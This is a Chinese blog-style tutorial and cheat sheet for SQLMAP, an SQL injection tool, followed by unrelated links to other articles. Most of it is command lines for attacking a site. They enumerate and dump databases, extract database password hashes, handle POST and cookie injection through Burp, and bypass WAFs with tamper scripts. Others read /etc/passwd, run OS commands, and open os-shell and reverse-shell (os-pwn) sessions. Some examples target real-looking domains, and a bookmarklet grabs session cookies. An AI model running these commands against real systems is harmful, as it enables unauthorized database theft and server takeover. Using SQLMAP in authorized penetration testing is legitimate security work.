网上的注入工具很多,大多也有比较详细的解释,但是大部分windows下的注入软件都是对自己软件的一种推荐,而且很多也不是非常的安全,对于有些破解版本来说,很可能自身会被带有木马,所以,Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入工具。我所介绍的是一款名为SQLMAP的注入工具,有感兴趣的可以去他的官网看看哦!

首先,SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

其次,SQLMAP支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

SQLMAP支持五种不同的注入模式:

l  基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

l  基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

l  基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

l  联合查询注入,可以使用union的情况下的注入;

l  堆查询注入,可以同时执行多条语句的执行时的注入

一些简单的SQLMAP使用:

1. 基础用法:

一下./sqlmap.py 在kali和backtrack中使用sqlmap的时候,直接用:sqlmap

./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库

./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库

./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户

./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用户

./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库”   // 列举数据库的表名

./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库”   // 获取表的列名

./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库”   // 获取表中的数据,包含列

已经开始拖库了,SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、
2. sqlmap post注入
我们在使用Sqlmap进行post型注入时, 经常会出现请求遗漏导致注入失败的情况。 这里分享一个小技巧,即结合burpsuite来使用sqlmap, 用这种方法进行post注入测试会更准确,操作起来也非常容易。
   1. 浏览器打开目标地址http:// www.2cto.com /Login.asp
   2. 配置burp代理(127.0.0.1:8080)以拦截请求
   3. 点击login表单的submit按钮
   4. 这时候Burp会拦截到了我们的登录POST请求
   5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
   6. 运行sqlmap并使用如下命令: ./sqlmap.py -r search-test.txt -p tfUPass
这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt, 而-p 大家应该比较熟悉,指定注入用的参数。
3.sqlmap  cookies注入
sqlmap.py -u “http://127.0.0.1/base.php” –cookies “id=1″  –dbs –level 2
2. 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,那么这就很简单了,我 们直接在原有的基础上面加上 –level 2 即可
利用sqlmap cookies注入突破用户登录继续注入 先把用户登陆的cookie拿到吧, 在收藏夹添加一个链接cookies属性: 名字自己取 javascript:alert(document.cookie),,需要获取当前cookie的时候, 直接点一下这个链接,然后复制一下弹出对话框 里的cookie值就搞定了
sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
-p是指指定参数注入
4. sqlmap遇到url重写的注入
哪里存在注入就加上 * 号 1 ./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 编码绕waf注入
./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载
 
 
其他基础:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #获取当前数据库名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #获取字段内容
******************信息获取******************

sqlmap -u “ –smart –dbms “Mysql” –users  #列数据库用户

sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库

sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码

sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0 #列出指定用户数据库密码

sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表

sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限

sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限

sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员

sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色

sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)

sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表

sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入

sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录

sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试

sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入

sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by

sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入

sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入

sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息

sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型

sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” #代理注入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“  #指定关键词

sqlmap -u “ –smart –dbms “Mysql”–sql-shell #执行指定sql命令

sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd

sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami #执行系统命令

sqlmap -u “ –smart –dbms “Mysql”–os-shell #系统交互shell

sqlmap -u “ –smart –dbms “Mysql”–os-pwn #反弹shell

sqlmap -u “ –smart –dbms “Mysql”–reg-read #读取win系统注册表

sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” #保存进度

sqlmap -u “ –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume  #恢复已保存进度

Incjector的更多相关文章

随机推荐

  1. JS案例六_2:省市级联动

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  2. 使用Spark进行搜狗日志分析实例——统计每个小时的搜索量

    package sogolog import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ...

  3. linux 查看并对外开放端口(防火墙拦截处理)

    [转]https://blog.csdn.net/qq564425/article/details/80760528 Web应用在Tomcat部署后无法访问,可能是防火墙端口限制导致 查看端口是否可访 ...

  4. js事件、事件流以及target、currentTarget、this那些事

    你是如此简单我却将你给遗忘   前面面试被问到js的事件机制  target.currentTarget.碰巧今天有时间来拔一拔,顺便记下.

  5. VS添加WebService工具

    最近在做和WebService相关的项目,因为只是在学校里面用过,出来工作一直没有用到,所以不是很熟悉,于是自己配置了一个WebService工具给添加到了VS(VisualStudio)里面,其实就 ...

  6. call Apply bind详解

    call方法: 语法:call(thisObj,'',''........) 定义:调用一个对象的一个方法,以另一个对象替换当前对象 说明:call方法可以用来代替另一个对象调用一个方法.call方法 ...

  7. MySQL 把两个结果集拼接到一起(两个结果集的列一模一样)

    select * from a UNION all ( select * from b)

  8. 使用cookie时出现“未将对象引用设置到对象实例”

    单步调试时发现,行“176”的cookie的值是null,也就是原先新建的cookie在这里没有成功request,解决的办法就是在后面添加respose.add: HttpContext.Curre ...

  9. 玩转BLE(3)_使用微信蓝牙精简协议伪造记步数据

    1. 前言 在物联网时代,有一个问题肯定会让人头疼(现在已经初露端倪了): 物联网中的IOT设备有两个主要特点: 1)简单小巧(不具备复杂的人机交互接口,需要手机等终端设备辅助完成配置.控制等功能). ...

  10. 第一模块 Python开发入门

    第一章 Python语法基础 变量的定义规范 一.声明变量 name = "Alex" 二.变量的定义规则 变量名只能是字母.数字或下划线的任意组合 变量名的第一个字符不能是数字 ...